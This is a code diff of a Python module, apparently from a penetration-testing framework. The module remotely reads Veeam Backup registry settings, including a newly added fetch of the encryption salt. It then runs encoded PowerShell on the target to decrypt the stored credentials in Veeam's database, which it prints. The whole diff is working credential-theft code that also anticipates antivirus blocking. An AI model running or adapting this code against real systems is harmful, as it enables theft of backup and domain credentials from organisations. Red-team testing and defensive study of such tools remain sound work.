@@ -40,6 +40,9 @@ def checkVeeamInstalled(self, context, connection):
4040 PostgresUserForWindowsAuth = ""
4141 SqlDatabaseName = ""
4242
43+ # Salt for newer Veeam versions
44+ salt = ""
45+
4346 try :
4447 remoteOps = RemoteOperations (connection .conn , False )
4548 remoteOps .enableRegistry ()
@@ -72,6 +75,8 @@ def checkVeeamInstalled(self, context, connection):
7275 SqlDatabase = rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "SqlDatabaseName" )[1 ].split ("\x00 " )[:- 1 ][0 ]
7376 SqlInstance = rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "SqlInstanceName" )[1 ].split ("\x00 " )[:- 1 ][0 ]
7477 SqlServer = rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "SqlServerName" )[1 ].split ("\x00 " )[:- 1 ][0 ]
78+
79+ salt = self .get_salt (context , remoteOps , regHandle )
7580 except DCERPCException as e :
7681 if str (e ).find ("ERROR_FILE_NOT_FOUND" ):
7782 context .log .debug ("No Veeam v12 installation found" )
@@ -107,36 +112,46 @@ def checkVeeamInstalled(self, context, connection):
107112 # Check if we found an SQL Server of some kind
108113 if SqlDatabase and SqlInstance and SqlServer :
109114 context .log .success (f'Found Veeam DB "{ SqlDatabase } " on SQL Server "{ SqlServer } \\ { SqlInstance } "! Extracting stored credentials...' )
110- credentials = self .executePsMssql (context , connection , SqlDatabase , SqlInstance , SqlServer )
115+ credentials = self .executePsMssql (connection , SqlDatabase , SqlInstance , SqlServer , salt )
111116 self .printCreds (context , credentials )
112117 elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName :
113118 context .log .success (f'Found Veeam DB "{ SqlDatabaseName } " on an PostgreSQL Instance! Extracting stored credentials...' )
114- credentials = self .executePsPostgreSql (context , connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName )
119+ credentials = self .executePsPostgreSql (connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName , salt )
115120 self .printCreds (context , credentials )
116121
117- def stripXmlOutput (self , context , output ):
118- return output .split ("CLIXML" )[1 ].split ("<Objs Version" )[0 ]
122+ def get_salt (self , context , remoteOps , regHandle ):
123+ try :
124+ keyHandle = rrp .hBaseRegOpenKey (remoteOps ._RemoteOperations__rrp , regHandle , "SOFTWARE\\ Veeam\\ Veeam Backup and Replication\\ Data" )["phkResult" ]
125+ return rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "EncryptionSalt" )[1 ].split ("\x00 " )[:- 1 ][0 ]
126+ except DCERPCException as e :
127+ if str (e ).find ("ERROR_FILE_NOT_FOUND" ):
128+ context .log .debug ("No Salt found" )
129+ except Exception as e :
130+ context .log .fail (f"UNEXPECTED ERROR: { e } " )
131+ context .log .debug (traceback .format_exc ())
119132
120- def executePsMssql (self , context , connection , SqlDatabase , SqlInstance , SqlServer ):
133+ def executePsMssql (self , connection , SqlDatabase , SqlInstance , SqlServer , salt ):
121134 self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_SqlDatabase" , SqlDatabase )
122135 self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_SqlInstance" , SqlInstance )
123136 self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_SqlServer" , SqlServer )
137+ self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_b64Salt" , salt )
124138 psScipt_b64 = b64encode (self .psScriptMssql .encode ("UTF-16LE" )).decode ("utf-8" )
125139
126140 return connection .execute (f"powershell.exe -e { psScipt_b64 } -OutputFormat Text" , True )
127141
128- def executePsPostgreSql (self , context , connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName ):
142+ def executePsPostgreSql (self , connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName , salt ):
129143 self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_PostgreSqlExec" , PostgreSqlExec )
130144 self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_PostgresUserForWindowsAuth" , PostgresUserForWindowsAuth )
131145 self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_SqlDatabaseName" , SqlDatabaseName )
146+ self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_b64Salt" , salt )
132147 psScipt_b64 = b64encode (self .psScriptPostgresql .encode ("UTF-16LE" )).decode ("utf-8" )
133148
134149 return connection .execute (f"powershell.exe -e { psScipt_b64 } -OutputFormat Text" , True )
135150
136151 def printCreds (self , context , output ):
137152 # Format output if returned in some XML Format
138153 if "CLIXML" in output :
139- output = self . stripXmlOutput ( context , output )
154+ output = output . split ( "CLIXML" )[ 1 ]. split ( "<Objs Version" )[ 0 ]
140155
141156 if "Access denied" in output :
142157 context .log .fail ("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script." )
0 commit comments